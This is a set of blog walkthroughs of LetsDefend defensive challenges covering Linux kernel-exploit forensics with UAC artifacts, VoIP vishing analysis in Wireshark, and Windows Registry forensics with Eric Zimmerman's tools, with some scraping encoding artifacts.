Image Credit: https://app.letsdefend.io/challenge/kernel-exploit

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide for the Kernel Exploit challenge from LetsDefend, you’re in the right place. This challenge is a fantastic introduction to digital forensics and incident response (DFIR) on Linux— let’s check out the scenario below.

Challenge Scenario:

In the afternoon, network monitoring systems detected anomalous traffic patterns originating from a critical transaction processing server. Initial signs suggest a potential security breach. You have been provided with a forensic image of the affected system and tasked with conducting a thorough investigation to determine the scope of the incident.

In this challenge, the stakes are high: we’re alerted to a critical transaction processing server that may have been compromised. It’s up to us to triage and analyze how the attack occurred, determine if this is a true positive, and figure out what we can do to prevent it from happening again.

To run our investigation, we’re provided with a forensic image of the affected server. So, what’s in our toolkit for this one? Since the image was created using Unix-like Artifacts Collector (UAC), we’ll rely on the generated artifacts and analyze them manually using a simple text editor. To enrich our findings with additional threat intelligence, we’ll also pivot out to VirusTotal and the National Vulnerability Database for some extra flavor.

Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Question 1: What is the name of the key file the intruder downloaded to elevate their privileges after gaining unauthorized access?

Let’s dive right in by opening the ChallengeFile folder and extracting linuxTriageImage.tar.zip, which contains linuxTriageImage.tar.gz—go ahead and extract that too. This will leave us with the linuxTriageImage directory, which contains all the artifacts we’ll analyze during our investigation.

LetsDefend VM: Overview of challenge artifacts

This might look overwhelming at first, but one file stands out immediately: uac.log. Why is this important? This log indicates that the forensic utility Unix-like Artifacts Collector (UAC) was used to create the forensic image. According to the project’s GitHub page:

UAC (Unix-like Artifacts Collector) is a powerful and extensible incident response tool designed for forensic investigators, security analysts, and IT professionals. It automates the collection of artifacts from a wide range of Unix-like systems, including AIX, ESXi, FreeBSD, Linux, macOS, NetBSD, NetScaler, OpenBSD and Solaris.

Whether you’re handling an intrusion, conducting forensic investigations, or performing compliance checks, UAC simplifies and accelerates data collection while minimizing reliance on external support during critical incidents.

Awesome! This gives us a starting point. We can reference the UAC documentation to understand where specific artifacts are logged, and then put that knowledge into practice.

To answer Question 1, we’re looking for a file or exploit downloaded by the attacker that was critical to their attack — specifically, something that enabled privilege escalation. To identify it, we’ll leverage the artifact logs collected by UAC.

Navigate to the hash_executables folder within the challenge directory. Inside, you’ll find logs containing detailed information about executable files on the system. Let’s get an overview by opening list_of_executable_files.txt.

Locating the executable file log

This log makes it easy to search for executables present on the system. Try searching for something obvious like "exploit" and see if anything interesting turns up.

Identifying a suspicious file within the executable files log

Hey, what do you know! We’ve found a potentially malicious file. Based on its name and its location in the /tmp directory (a common staging area for the bad guys), it’s reasonable to assume this is the exploit the intruder downloaded to elevate their privileges.

Validating the location of the suspicious file

Question 2: When was the file used for privilege escalation first submitted on Virus Total?

Now that we’ve identified the malicious file used for privilege escalation, it’s time to gather some threat intelligence. One of the best places to start is VirusTotal, where we can check if this file has been seen before and how it’s been classified by various antivirus engines.

But first, we need the file’s hash so we can search for it.

There are a couple of ways to obtain the hash:

From the terminal, we can generate the SHA256 hash using the following command:

sha256sum exploit

Using the terminal to calculate the SHA256 hash of the exploit

d8dd09b01eb4e363d88ff53c0aace04c39dbea822b7adba7a883970abbf72a77

Alternatively, UAC already collected the SHA1 hash during triage. You can find it in the hash_executables.sha1 log inside the hash_executables folder.

Identifying the SHA1 hash of the exploit within the hash_executables.sha1 log

Once you’ve got the hash, head over to VirusTotal and paste it into the search bar. We’ll see that this sample has been submitted to the platform before and it’s detected as malicious by a majority of the antivirus vendors.

To answer Question 2, we need to determine the first submission date of the file. You can find this under the Details tab, in the History section of the VirusTotal report as First Submission. This submission timestamp gives us some rough idea of how long the malware has been circulating.

VirusTotal: Identifying the first submission time of the sample

Question 3: What is the Process ID (PID) of the operation launched by the attacker?

Now that we’ve identified the binary as malicious, the next step is to uncover the Process ID (PID) associated with its execution to help us follow the attacker’s activity on the system.

To do this, we’ll leverage the process artifacts collected by UAC. These logs are in the live_response folder, within the running_processes_full_paths.txt log. This file contains detailed information about all processes running on the system at the time of collection, including their full paths, user context, and PIDs.

Once you’ve opened the log, search for the name of the malicious binary. This will take you directly to the relevant entry (line 369) which shows the PID of the exploit.

Identifying the entry for the running malicious process

Having this information handy is valuable for our investigation because it helps us to identify further malicious activity by searching for any parent/child processes or correlating the PID with other logs.

Question 4: What username was the malicious process running under?

Our next task is to determine which user context the malicious process was running under. For this, we can continue using the running_processes_full_paths.txt log that we referenced in the previous question.

Focus on the user column in the log entry for the malicious binary. You’ll see that the process was running under the account named a1l4m.

Identifying the user running the malicious process

Understanding the user context is another valuable datapoint and helps us track privilege escalation. For example, if the attacker initially launched the exploit under a non-privileged user like a1l4m, but later gains root access, we have clear evidence that the exploit was used to elevate privileges as part of the attack chain.

Question 5: What is the Parent Process ID (PPID) associated with the malicious process?

The next step in our investigation is to determine the Parent Process ID (PPID) of the malicious process we identified in Question 3. For this, we’ll examine the pstree_-p_-n.txt log generated by UAC. This log displays the system’s process tree at the time of collection, including parent-child relationships and associated PIDs.

Once you’ve opened the log, use your text editor’s Find function to search for either the name of the binary (exploit) or the PID we found earlier. You’ll see a line leading up and to the left of the process—that’s the visual representation of its parent relationship in the tree.

Locating the malicious process in the process tree

Follow that line upward until you reach the parent: systemd (PID 1686). For context in Linux, systemd is the system and service manager used to manage user sessions and services. Seeing it as the parent process suggests the malicious binary was likely executed as part of a user session or terminal command, rather than being launched by another malicious process.

Identifying the parent process of the malicious process

Understanding the parent process is important because it helps us determine how the attacker executed the binary and whether it was user-initiated or part of a larger chain. All this data helps build a narrative of the attack.

Question 6: What are the operating system and its version on the compromised server?

We’ve spent some time analyzing the malicious privilege escalation exploit — now it’s time to collect information about the victim’s operating system environment. This can help us understand whether the system was running a version of the OS that may have been vulnerable to a specific privilege escalation exploit.

The first place we’ll check is the hostnamectl.txt log file located in the live_response/network directory.

The logged output of hostnamectl

While this log contains some useful details, the OS version listed doesn’t match the required answer format. No problem! Let’s pivot to a second log file: uname_-a.txt, found in the live_response/system directory.

After opening this file, we can identify a slightly different version of Ubuntu where the output of uname -a matches the expected answer format for the challenge.

The logged output of uname -a

Question 7: What is the kernel version of the compromised system?

Answering Question 7 can be accomplished the same way we approached the last question. We can identify the kernel version of the compromised system by checking either the hostnamectl.txt or uname_-a.txt logs.

This time, both logs display the same kernel version, so either one will give us the correct answer.

Identifying the kernel version in the hostnamectl log

Identifying the kernel version in the uname -a log

Question 8: What is the most recent CVE number associated with the vulnerabilities exploited in this attack?

We’ve made it to the final question — and now it’s time to put everything we’ve learned into practice by identifying the most recent Common Vulnerabilities and Exposures (CVE) number associated with the exploit.

To start, let’s head back to the VirusTotal entry for the exploit we analyzed in Question 2. You’ll notice two CVE tags listed: CVE-2021-4034 and CVE-2024-1086. Since we’re looking for the most recent one, our answer is CVE-2024-1086.

VirusTotal: Identifying the most recent CVE number

Great! We’ve found our answer. But let’s dig a little deeper by checking out the entry for this CVE in the National Vulnerability Database (NVD). This additional intelligence tells us that we’re dealing with a Linux Kernel Use-After-Free vulnerability, exploitable to achieve local privilege escalation. It affects several versions of the Linux kernel:

From (including) 6.2 Up to (excluding) 6.6.15

NVD _A use-after-free vulnerability in the Linux kernel’s netfilter: nf_tables component can be exploited to achieve local…_nvd.nist.gov

This confirms that the kernel version running on the victim’s system was outdated and vulnerable. It’s a great reminder of the importance of always keeping on top of your patching game.

Now let’s submit our answer and wrap up this investigation!

Conclusion:

Mission accomplished! By poring over the logs generated by UAC, we were able to identify and correlate key artifacts and uncover a privilege escalation exploit using CVE-2024€“1086. Now that we’ve put our Linux forensics skills into practice and confirmed the malicious activity, it’s time to close out this walkthrough of the Kernel Exploit challenge.

A big thank you to LetsDefend for another awesome challenge! I chose this one to start dipping my toes into the world of Linux forensics. Coming from a Windows background, it’s definitely a different skillset with a different set of tools. This challenge was a great blend of learning how to work with the UAC triage utility, exploring Linux artifacts, and leveraging threat intelligence to better understand exploitation and system compromise. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/kernel-exploit

UAC: https://github.com/tclahr/uac

UAC Documentation: https://tclahr.github.io/uac-docs/

VirusTotal: https://www.virustotal.com/

VirusTotal — Exploit Sample: https://www.virustotal.com/gui/file/d8dd09b01eb4e363d88ff53c0aace04c39dbea822b7adba7a883970abbf72a77

MITRE ATT&CK —Privilege Escalation (TA0004): https://attack.mitre.org/tactics/TA0004/

Wikipedia — Systemd: https://en.wikipedia.org/wiki/Systemd#:~:text=systemd%20is%20a%20software%20suite,and%20improvise%20to%20solve%20problems.

National Vulnerability Database (NVD): https://nvd.nist.gov/vuln/detail/cve-2024-1086#range-16535572

LetsDefend — VoIP Challenge Walkthrough

Sun, 11 May 2025 00:00:00 +0000

LetsDefend — VoIP Challenge Walkthrough

Image Credit: https://app.letsdefend.io/challenge/voip

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the VoIP challenge from LetsDefend, you’re in the right place. This week, we’re going to dissect Voice Over IP (VoIP) traffic with everyone’s favorite packet analysis tool -Wireshark!

Challenge Scenario:

Your close friend James recently received a suspicious phone call from someone claiming to be his bank. The caller asked for sensitive information, making James uneasy. Suspecting a potential Vishing (Voice Phishing) attack, you decide to investigate by capturing and analyzing the VoIP traffic.

Our objective this week is to investigate a network packet capture file containing the contents of a social engineering call received by our friend James to determine the scope of the attack, including the attacker’s phone number and what information James divulged. Sounds like fun, right? Let’s get to it!

Thanks for reading and going on this investigation with me!

Question 1: How many RTP packets were in the traffic?

We’ll kick off our investigation by first extracting the archive file, Bank Incident.7z, from within the ChallengeFile directory. Then, double-click Traffic.pcapng to open it with Wireshark, which we’ll use analyze the packet capture data.

Once the packet capture is open, we’ll focus on determining the number of RTP packets within the capture to answer Question 1. Before searching for the answer, let’s take a beat to understand what RTP is from the Wireshark Wiki:

RTP, the real-time transport protocol. RTP provides end-to-end network transport functions suitable for applications transmitting real-time data, such as audio, video or simulation data, over multicast or unicast network services.

In the context of our investigation, the RTP packets carry the data content of the VoIP call so determining the total number of packets provides an overview of the call which we’ll use later in the investigation.

To figure out the total number of RTP packets, we’ll adjust the display filter by entering rtp into the search field.

Wireshark: Identifying the number of captured RTP packets

At the bottom of the window, we’ll see the total number of packets and a Displayed value representing the filtered results. This is the value we need to answer Question 1.

Question 2: When did the fake call with James start?

Our next task is to determine when the vishing call started. While we already learned how to filter the RTP contents in the previous question, we’ll need to pivot and adjust our filter for a separate protocol this time — the Session Initiation Protocol (SIP).

Because the SIP protocol handles the management functions of VoIP calls including the creation, modification, and termination of the session, and establishing the RTP stream, we can analyze the captured SIP packets to determine the start time of the call.

Turning back to our Wireshark window, let’s enter sip into the search field this time. The first displayed packet („–5) is the one we want to focus on. There’s just a slight problem: the value in the time column doesn’t match the answer format, does it?

No problem! We just need to make an adjustment to the Time Display Format, which we can change by pressing View > Time Display Format > Date and Time of Day.

Wireshark: Modifying Time Display Format

After we change the display format, we’ll be able to see the time value in a more readable way that matches the required answer format.

Wireshark: Identifying SIP call initiate time

Question 3: What is the Jame’s phone number?

To answer Question 3, we need to dive into the SIP traffic to determine James’ phone number. We’ll explore two ways to approach this below.

The first method is to follow the SIP stream by right clicking the first packet in the stream, „–5, that we identified in the last question, then selecting Follow > SIP Call.

Wireshark: Displaying SIP stream

This opens the SIP stream window where we can manually examine the assembled stream and identify the To: field which represents James as the recipient of the VoIP call by number and IP address.

Wireshark: SIP stream contents

Another easier method to approach this is to leverage the Telephony tools in Wireshark. To do this, click the Telephony tab at the top of the Wireshark window, then select VoIP Calls.

Wireshark: VoIP calls window

Using this method provides us with an easy-to-read overview of the call including James’ phone number within the To column. We’ll continue to use this data to answer the next couple of questions, so keep it handy.

Question 4: How long was the call with the bank?

We’re able to answer Question 4 by examining the VoIP Calls interface and checking the Duration column.

Wireshark: Identifying the VoIP call duration

Question 5: What is the phone number of the bank that James received a call from?

Using the same process as above, check the From column to determine the phone number of the “bank.”

Wireshark: Identifying the VoIP caller

Questions 6 & 7:

What is the name of the bank calling?

What is James’s Social Number?

Now that we’ve analyzed the VoIP traffic at the packet level, we’re going to pivot and actually listen to the assembled audio of the call from the VoIP Call window—how cool is that?

But first, in order to leverage Wireshark’s RTP Player to listen to the audio content of the call, we’ll need to connect to the LetsDefend virtual machine over the Remote Desktop Protocol (RDP) rather than using the browser-based interface so that audio can be passed through to our speakers.

So, how do we do this? According to the LetsDefend Help Center, there is an option to manually connect with your RDP client by selecting the flag icon at the top of the LetsDefend challenge page to view the IP address of your VM and the credentials to access it.

LetsDefend: Locating RDP connection info

Once you’ve connected to the LetsDefend environment via RDP, clear the Wireshark filters and access the Telephony > VoIP Calls window again to display the full VoIP call contents. Press the Play Streams button to access the RTP Player.

Wireshark: Location of play sound option in VoIP window

Now that we’re finally on the RTP Player, the last step is pressing the play button to listen to the call to discover the purported name of the bank and to hear James divulge his social security number.

Wireshark: The RTP Player

Now that we’ve identified these two items from the RTP player, let’s submit our answers and close out this investigation!

Conclusion:

We’ve made it to the end! By leveraging Wireshark to examine the data of the vishing call, we’ve successfully determined the number of RTP packets that carried the content of the call, when the attack occurred, the attacker’s SIP phone number, which bank they were impersonating, and what data was compromised. Now that we have a full understanding of the attack, we can report back to James and help get him back on his feet. What great friends we are!

A big thank you to LetsDefend, for another cool and interesting challenge! I selected this one because I was completely unaware that Wireshark had VoIP call analysis functions built-in, and I’ve used a separate tool for VoIP analysis in the real world. By going hands-on and being challenged to test different scenarios with familiar tools, I’ve been able to consolidate my toolkit and gain a better understanding of how I can utilize applications like Wireshark more efficiently — awesome! I hope you learned something new, too!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/voip

Wireshark: https://www.wireshark.org/

Wireshark Wiki — RTP: https://wiki.wireshark.org/RTP

Wireshark Wiki — SIP: https://wiki.wireshark.org/SIP

Wireshark Docs — Playing VoIP Calls: https://www.wireshark.org/docs/wsug_html_chunked/ChTelPlayingCalls.html

LetsDefend Help Center: https://help.letsdefend.io/en/articles/8729133-can-t-access-to-the-labs

LetsDefend — Windows Registry Challenge Walkthrough

Sun, 04 May 2025 00:00:00 +0000

LetsDefend — Windows Registry Challenge Walkthrough

A Windows Registry forensic investigation using Eric Zimmerman’s Registry Explorer, ShellBags Explorer, AppCompatCacheParser, and AmcacheParser.

https://app.letsdefend.io/challenge/windows-registry

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the Windows Registry challenge from LetsDefend, you’re in the right place. This week, we’re diving deep into investigating the Windows Registry.

Challenge Scenario:

As a cybersecurity analyst, you’ve been given an image containing all the registry hives from one of our employee’s machines. Your task is to thoroughly examine the provided artifacts and respond to a series of questions based on your analysis.

In this scenario, we’re wearing our cybersecurity analyst hat, and are handed an image with a registry dump of all of the hives from a Windows device. Our objective is to sift through the artifacts and find the information requested to move forward through our investigation.

What’s in our tool kit for this investigation? We’re going to leverage several tools from Eric Zimmerman’s forensic suite to parse and explore the various registry hives, including: Registry Explorer, ShellBags Explorer, AppCompatCacheParser, and AmcacheParser.

But that’s not all! To provide detailed explanations and enrich our investigation, we’ll refer to detailed write-ups from the Magnet Forensics blog to gain comprehensive insights into the forensic process and how the registry works. This challenge is a great primer to the world of registry forensics! Sounds like fun, right? Let’s go!

Thanks for reading and going on this investigation with me!

Question 1: How many users were added?

To kick off our investigation, let’s review the available tools and artifacts to orient ourselves with the analysis environment and determine how we want to approach the challenge.

First, extract the archive file RegistryImage.7z from the ChallengeFile directory. Then, let’s take a look at the challenge artifacts. Since this is a registry challenge, we’ll start with the contents of the ChallengeFile\C\Windows\System32\config directory, which is the directory where the registry files are stored. Inside, we’ll find that the folder contains a dump of the system-wide Windows Registry Hives (SYSTEM, SAM, SOFTWARE, SECURITY, etc.) which we’ll need to analyze to tackle the investigation.

Each of these hives contain different keys pertaining to various aspects of the device. Don’t worry, we’ll go into these in more detail later.

The Registry Hive Artifacts

Next, let’s check out the contents of the Tools folder within the analysis environment. Inside, we’ll see that we have access to a number of tools, several that are used to parse and view registry hives.

The Tools Folder Contents

For the first part of this investigation, we’ll be leveraging Registry Explorer. This GUI-based tool is part of Eric Zimmerman’s tool suite and is a " # “Registry viewer with searching, multi-hive support, plugins, and more.“To uncover the number of users on the system and answer Question 1, we’ll need to load the Security Account Manager (SAM) Hive which contains user information like username, group membership, and login information. To load this hive, perform the following steps:

Open the Registry Explorer folder and launch the application.
Press File > Load Hive.
Select the SAM hive from the ChallengeFile\C\Windows\System32\config directory.

Once we load the SAM hive with Registry Explorer, we can use the available " # "

Users (User accounts)” bookmark to identify the users on the system.

Registry Explorer: Selecting the Users Bookmark

We’ll find there are four built-in users, and two additional users added to the system. This is easier to see if you expand the User Name column.

Registry Explorer: Identifying the Added User Accounts

Question 2: What is the build number of the user’s operating system?

To answer Question 2, we’ll need to discover the " # "

BuildNumber” of the operating system of the machine the dump was captured from. Since this isn’t user account-related, we’ll need to load another registry artifact — the SOFTWARE hive which contains the information, settings, and preferences for software installed on the system, including the operating system.

Once we load the SOFTWARE hive into Registry Explorer, we’ll receive the following " # "

dirty hive" error message referencing the transaction logs:

Registry Explorer: Dirty hive warning

To avoid this error, we can cancel the dialogue and reload the hive, this time holding down SHIFT when pressing Open. This will prevent us from needing to manually select the transaction log files and saving a " # "

clean" hive for separate analysis.

Registry Explorer: Transaction log replay confirmation

Now that the SOFTWARE hive is loaded, let’s browse it using the available common bookmark, " # "

CurrentVersion (Windows version information (Windows NT key))" .

Registry Explorer: Selecting the CurrentVersion bookmark

This will take us to the CurrentVersion key where we can identify the OS build number in the CurrentBuild value and successfully answer Question 2.

Registry Explorer: Identifying the build number of the OS

Question 3: What was the IP address of the machine you are investigating right now?

For the next task, we’ll need to identify the IP address of the machine we’re investigating. We can locate this information by loading a third registry hive, the SYSTEM hive. The SYSTEM hive contains the system’s configuration settings including the network interfaces.

Follow the same process that we used in Question 2 to bypass the dirty hive error message. We can then use the " # "

**Interfaces (DHCPNetworkHints, NetworkSettings Plugins)" ** bookmark to identify the relevant network configuration information including the assigned IP address.

Registry Explorer: Selecting the Interfaces bookmark

The value we’re looking for to answer Question 3 is the DHCPIP Address value.

Registry Explorer: Identifying the Machine’s IP Address

Question 4: We suspect that the user may have some video games on their work PC. What is the name of the game?

Based on what we’ve learned so far, it seems logical that checking the Software\Microsoft\Windows\CurrentVersion\Uninstall key would be the best place to identify installed applications. But what if a game isn’t actually installed or the directory has been deleted? Can we find any evidence that it existed on the system with only a registry hive?

To determine if the user had any games installed on the work device we’re investigating, we’ll need to take a different approach searching for evidence. Let’s check the Question 4 hint for some guidance:

First, let’s start with some background on what Shellbags are and what the UsrClass hive is. For a deeper insight, we’ll lean on the extremely thorough explanation from Magnet Forensics:

Shellbags are a set of registry keys that store information about the view settings and preferences of folders as they are viewed in Windows Explorer.

Windows creates a number of additional artifacts when storing these properties in the registry, giving the investigator great insight into the folder, browsing history of a suspect, as well as details for any folder that might no longer exist on a system (due to deletion, or being located on a removable device).

So, putting all this together for our purposes, we may be able to find evidence of a folder containing a game by exploring the shellbags stored within the UsrClass.dat hive.

To do this, we can leverage another of Eric Zimmerman’s tools, ShellBags Explorer. This utility is a " # “GUI for browsing shellbags data. Handles locked files"and is already available in the Tools folder — very handy!

Go ahead and launch the utility, then press " # "

File” and select " # "

Load offline hive" . Select the UsrClass.dat hive from the following directory: C\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat

ShellBags Explorer: Identifying the video game

After exploring the available artifacts with ShellBags Explorer, we’ll stumble upon the folder Rainbow Six Siege, a popular online game, and the answer to Question 4.

Question 5: There was a file that got executed from the Downloads directory. What is the modification time of the said file?

Continuing forward, our next task is to discover the modification time of a file executed from within the Downloads directory. To do this, we’re going to analyze the Application Compatibility Cache (AppCompatCache), part of the SYSTEM registry hive.

But first, some context. In a Windows-based system, the AppCompatCache is used to track compatibility with older apps in newer versions of Windows. At first glance, this doesn’t seem that interesting but, from a forensic perspective, it contains some valuable information. For example, we’ll refer to another post from Magnet Forensics to explain the AppCompatCache further_:_

ShimCache, also known as the Application Compatibility Cache, is a feature in Windows designed to maintain compatibility for applications running on newer operating systems. It tracks the execution of applications, whether they were executed recently or in the past. ShimCache is part of the AppCompat framework, which Windows uses to ensure compatibility with older applications.

Okay! Now we’re getting somewhere. To retrieve this information, we’ll pivot to another of Eric Zimmerman’s tools, AppCompatCacheParser, to parse the SYSTEM registry hive and interpret the execution time of the file from the AppCompatCache. This tool is available in the analysis environment under this directory: C:\Users\LetsDefend\Desktop\Tools\Eric Zimmerman Tools\AppCompatCacheParser.exe

For example, we can execute the tool from the Windows Command Prompt with the following command to generate a CSV file for us to analyze:

“C:\Users\LetsDefend\Desktop\Tools\Eric Zimmerman Tools\AppCompatCacheParser.exe” -f “C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\config\SYSTEM” –csv “C:\Users\LetsDefend\Desktop”

Running AppCompatCacheParser.exe from Command Prompt

Once the CSV file is generated, we’ll open it with yet another Eric Zimmerman tool, Timeline Explorer. This tool is a CSV viewer with robust filtering and sorting capabilities. For our purposes, we can use it to filter the Path column for the keyword " # "

Downloads," since this is the directory we want to focus on, to find that there is only one result.

We’ll need to check the column to the left, Last Modified Time UTC, to identify the answer to Question 5!

Timeline Explorer: Filtering the Download Path

Question 6: We believe that the user may have installed some malicious files on their work PC. What is the SHA1 hash of the malicious file?

Next up, we need to identify the SHA1 file hash of a malicious file installed on the PC. The first step here is to determine which file is malicious. To do this, we’re going to check the AmCache hive to gain an understanding of the files that have been executed on the system.

If you read the entire reference article from Magnet Forensics in the previous question, you may have seen a reference to this hive already. If not, here is an overview of the forensic significance of the AmCache hive from their blog:

AmCache is one of the most significant and detailed artifacts available to forensic investigators on modern Windows systems. Introduced in Windows 8, AmCache provides a wealth of information about executables and DLLs that interact with the system, recording key metadata which helps investigators piece together a forensic timeline of program activity. Unlike ShimCache, which captures metadata at shutdown, AmCache provides live data and tracks when files were first executed, making it a more reliable indicator of execution.

Perfect! This sounds like exactly the right place to be searching. In our analysis environment, we can locate the AmCache hive in the following directory: C:\Windows\AppCompat\Programs\Amcache.hve

How do we parse this, you might be asking? At this point in the investigation, it will come as no surprise that we are going to leverage another Eric Zimmerman tool. This time we’ll use AmcacheParser using a similar syntax to the previous question. For reference, I’ll leave an example below to output the results to CSV:

“C:\Users\LetsDefend\Desktop\Tools\Eric Zimmerman Tools\AmcacheParser.exe” -f “C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\AppCompat\Programs\Amcache.hve” –csv “C:\Users\LetsDefend\Desktop”

Running AmcacheParser.exe from Command Prompt

A difference between the output of AmCacheParser versus AppCompatCacheParser is that there are several files created. For the purposes of our investigation, we need to focus on the unassociated file entries CSV file, DATE_Amcache_UnassociatedFileEntries.csv.

Open the file in Timeline Explorer and find the Full Path column. Sift through the displayed executable paths, looking for anything that sticks out as strange. You may have also noticed this file when we were exploring the shellbags back in Question 4…

Timeline Explorer: Identifying the Malicious File Path

This executable looks a little suspicious, doesn’t it? Let’s collect the SHA1 file hash from the column to the left, SHA1, and check if we’ve identified the correct file.

f7910c5a92168453106e4343032d1c5ca239ce16

Question 7: What is the malware family name of the previous file?

Now that we’ve identified a potentially malicious file and acquired its SHA1 hash, let’s pivot out to VirusTotal to gather some additional intelligence, and check if this file hash has been observed before.

VirusTotal: https://www.virustotal.com/gui/file/1486c747b69c5bef4db22df9e508bdecffa85a2f79e97f88445494311f33555c

After submitting the hash, we can determine that the file is indeed malicious based on the number of antivirus hits. We can also refer to the " # "

family labels" tag to determine the malware family name to answer Question 7.

Question 8: The user opened a file on 2024€“05€“06 06:39:09 on their work PC. What is the name of that file?

To identify the file opened on the specified date/time, we’ll need to jump back to Registry Explorer and load the NTUSER.DAT artifact. This hive can be located at: C\Users\LetsDefend\Desktop\ChallengeFile\C\Users\Administrator TUSER.DAT

Again, we’ll open this hive by selecting the NTUSER.DAT file and holding SHIFT when opening it to replay the transaction logs. Once the hive is loaded, we’ll use the " # "

RecentDocs (Recently opened files by extension)" bookmark to view the RecentDocs key which tracks recent file and folder activity.

Registry Explorer: Selecting the RecentDocs bookmark

Sort the results by the Opened On column and match the date from the question.

Registry Explorer: Identifying the file for the specific date/time

Using the RecentDocs key, we can determine that the file Note.txt is the file of interest to answer Question 8.

Question 9: The user opened MSPaint on their work PC. Can you determine the exact time it happened?

To answer Question 9, we now need to determine the exact time a user on the system opened MSPaint. To accomplish this, we’ll continue using the available bookmarks to search against the NTUSER.DAT hive, this time selecting the " # "

RunMRU (Most recently run programs)" bookmark.

According to Magnet Forensics, the Most Recently Used (MRU) artifacts " # “are a variety of artifacts tracked by modern Windows operating systems that provide crucial details regarding the user’s interaction with files, folders, and programs that may have been executed using the Windows Run utility.“So, by browsing this key we may be able to identify where the user launched Microsoft Paint using the run utility.

Registry Explorer: Selecting the RunMRU bookmark

Once the key has loaded, we’ll locate the mspaint executable and find the timestamp we’re searching for in the Opened On column.

Registry Explorer: Identifying the " # "

Opened On” date/time for MSPaint

Question 10: Can you find out how long the user had MSPaint open?

Okay, we’ve made it to the last question! Now that we’ve identified when MSPaint was opened, we’ll now need to continue analyzing the NTUSER.DAT hive to determine how long the application was open. For this task, we’ll use the " # "

UserAssist (Recently accessed items)” bookmark to analyze the artifacts.

For the last time, let’s reference Magnet Forensics to learn more about these artifacts:

UserAssist is a feature in Windows that tracks the usage of executable files and applications launched by the user. It stores this information in the Windows Registry, which can be accessed by forensic analysts to reconstruct a timeline of application usage and user activity.

Registry Explorer: Selecting the UserAssist bookmark

After selecting the bookmark, we’ll see quite a few entries. To narrow it down, we can type " # “paint"into the Program Name field to filter the results. After that, we can see the total time the application was open in the Focus Time column.

Registry Explorer: Identifying the " # "

Focus Time” for MSPaint

Now let’s submit the answer and wrap up our investigation!

Conclusion:

There we have it! By leveraging Eric Zimmerman’s tools to analyze the Windows Registry image, including the SAM, SOFTWARE, SYSTEM, UsrClass, AmCache, and NTUSER hives, we’ve successfully navigated this investigation. Throughout this challenge, we’ve identified device details, application information, and even found evidence of malware on the device, all while gaining a deep understanding of several forensic artifacts within the registry. Now that we have scoped the attack and completed our objectives, let’s close out this walkthrough of the Windows Registry!

A big thank you to LetsDefend, for another awesome and engaging lab, and a shout out to Magnet Forensics for their fantastic blog, which was crucial in helping contextualize this investigation and providing deep insights into the registry forensics process. I hope that the links are a value add for your own investigations in the real world. I chose another registry challenge this week to keep pushing myself to learn more about the registry artifacts. This challenge was an excellent next step as it required a variety of tools and research to find the correct information, which better equips me for real-world engagements — awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/windows-registry

Eric Zimmerman’s Tools - (Registry Explorer, ShellBags Explorer, AppCompatCacheParser, &AmcacheParser): https://ericzimmerman.github.io/#!index.md

Magnet Forensics Blog: https://www.magnetforensics.com/resource-center/blogs/

Microsoft Learn — Registry Hives: https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives

Magnet Forensics " # “Forensic Analysis of Windows Shellbags”: https://www.magnetforensics.com/blog/forensic-analysis-of-windows-shellbags/

**Wikipedia — " # "

Tom Clancy’s Rainbow Six Siege" :** https://en.wikipedia.org/wiki/Tom_Clancy%27s_Rainbow_Six_Siege

Magnet Forensics " # “ShimCache vs AmCache: Key Windows Forensic Artifacts”: https://www.magnetforensics.com/blog/shimcache-vs-amcache-key-windows-forensic-artifacts/

VirusTotal: https://www.virustotal.com/

VirusTotal — Sample: https://www.virustotal.com/gui/file/1486c747b69c5bef4db22df9e508bdecffa85a2f79e97f88445494311f33555c

Magnet Forensics " # “What is MRU (Most Recently Used)?”: https://www.magnetforensics.com/blog/what-is-mru-most-recently-used/

Magnet Forensics " # “Forensic analysis of the Windows UserAssist artifact”: https://www.magnetforensics.com/blog/artifact-profile-userassist/

LetsDefend — RegistryHive Challenge Walkthrough

Sun, 27 Apr 2025 00:00:00 +0000

LetsDefend— RegistryHive Challenge Walkthrough

Investigating a Registry Dump with Registry Explorer and RegRipper.

Image Credit: https://app.letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the RegistryHive challenge from LetsDefend, you’re in the right place. This week, we’re going deep into investigating the Windows Registry.

Challenge Scenario:

You’re a forensics analyst and have a registry dump. Try to analyze the evidence and answer the questions.

In this scenario, we’re assuming the role of a digital forensics analyst and are provided with a registry dump of a Windows device. Our objective is to analyze the artifacts and determine the answers to several questions to move through our investigation.

To aid in our investigation, we’re going to leverage several tools, including RegRipper and Eric Zimmerman’s Registry Explorer, to view, search, and interpret data within the various registry hives to get a comprehensive view of the system. Since this is my first time testing these tools, we’ll explore multiple ways of finding the information while we discover the various features of the tools, and I’ll explain the approach along the way, making this a great primer into the world of registry forensics!

Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Question 1: What is the Computer name of this machine?

To kick off our investigation, let’s review the available tools and artifacts to orient ourselves with the analysis environment and determine how we want to approach the challenge.

First, let’s take a look at the challenge artifacts in the RegistryHive > Regs directory. We’ll see that the folder contains a dump of the Windows Registry Hives (SYSTEM, SAM, SOFTWARE, SECURITY, etc.) which we’ll need to analyze to tackle the investigation.

Each of these hives contain different keys pertaining to various aspects of the device. Don’t worry, we’ll go into these in more detail later.

The Registry Hive artifacts

Next, let’s check out the contents of the Tools folder within the analysis environment. Inside, we’ll see that we have access to three tools that are used to parse and view registry hives — very handy, indeed!

